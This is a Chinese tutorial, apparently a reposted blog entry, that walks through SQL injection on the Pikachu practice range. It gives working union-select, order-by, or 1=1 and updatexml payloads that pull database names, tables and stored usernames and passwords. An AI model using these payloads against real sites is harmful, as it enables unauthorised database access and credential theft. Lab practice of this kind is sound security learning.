一、pikachu之SQL注入(1)

编程入门 行业动态 更新时间:2024-10-06 12:34:21

一、<a href=https://www.elefans.com/category/jswz/34/1760739.html style=pikachu之SQL注入(1)"/>

一、pikachu之SQL注入(1)

文章目录

  • 一、SQL注入步骤
  • 二、数字型注入(post注入)
  • 三、字符型注入(get)
  • 四、搜索型注入
  • 五、XX型注入
  • 六、“insert/updata”注入

一、SQL注入步骤

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

二、数字型注入(post注入)

(1)既然靶场提示是post注入,我们使用kali自带的burp进行抓包,可以看到数据包的消息主体部分就是与数据库进行交互的参数id;

(2)上一步已经找到传参页面,下一步就判断页面是否存在注入点;
判断注入点的方法有:

  这里,我们对参数id进行操作id=1' --+,页面报如下错误,说明该注入属于数字型注入:

(3)判断字段数量,order by命令,构造数据包的消息主体:id=4 order by 2 --+,经测试,表中字段只有两个:

注意:使用order by命令的时候,应该使4有效,不应该在4后面添加'。因为,后端在拼接id参数后,得到的SQL语句应该是:select * from id=4 order by 2 --+。如果表中没有相应的id值,order by命令也将不会执行。

三、字符型注入(get)

(1)寻找传参页面;

(2)判断是否存在sql注入漏洞,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27&submit=%E6%9F%A5%E8%AF%A2

页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(3)判断是数字型注入还是字符型注入,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27%20--+&submit=%E6%9F%A5%E8%AF%A2

由此,可知是字符型注入。

四、搜索型注入

(1)看到搜索框,肯定是含参页面,所以直接判断是否存在注入点。命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%27&submit=%E6%90%9C%E7%B4%A2

页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
同时可以看出,在构造SQL语句时,需要对%进行闭合。

(2)判断字段数,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' order by 3 --+&submit=搜索

只有order by前面的语句为真,order by才会正常执行。

经测试,字段数为3。

(3)判断回显点,命令http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,3 --+&submit=搜索

(4)判断数据库名,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,database() -- &submit=搜索

(5) 判断表名,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu') -- &submit=搜索

(6)查看字段名,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(column_name) from information_schema.columns where
table_schema='pikachu' and table_name='users') -- &submit=搜索

(7)查看字段内容,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(concat(username,'%23',password)) from pikachu.users) -- &submit=搜索

五、XX型注入

  所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)。

(1)判断注入点,命令:http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1'&submit=搜索

根据报错,可得知:

  • 存在SQL注入;
  • 通过1\来判断需要闭合的符号,这里需要闭合)

(2)判断字段数,或者直接爆出表中的所有字段内容,使用命令:

http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1%27)%20or%201=1%20--+&submit=%E6%9F%A5%E8%AF%A2

六、“insert/updata”注入

前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

  在“insert/updata/delete”注入中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。

(1)在注册页面,用户名填',密码12,页面会有报错信息;

(2)我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。注意value中的参数必须与字段个数一致。inser语法如下:

payload1' or updatexml('~',concat(0x7e,database()),1) or '。1后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号。

更多推荐

一、pikachu之SQL注入(1)

本文发布于:2024-02-14 13:52:17,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1763449.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:pikachu   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!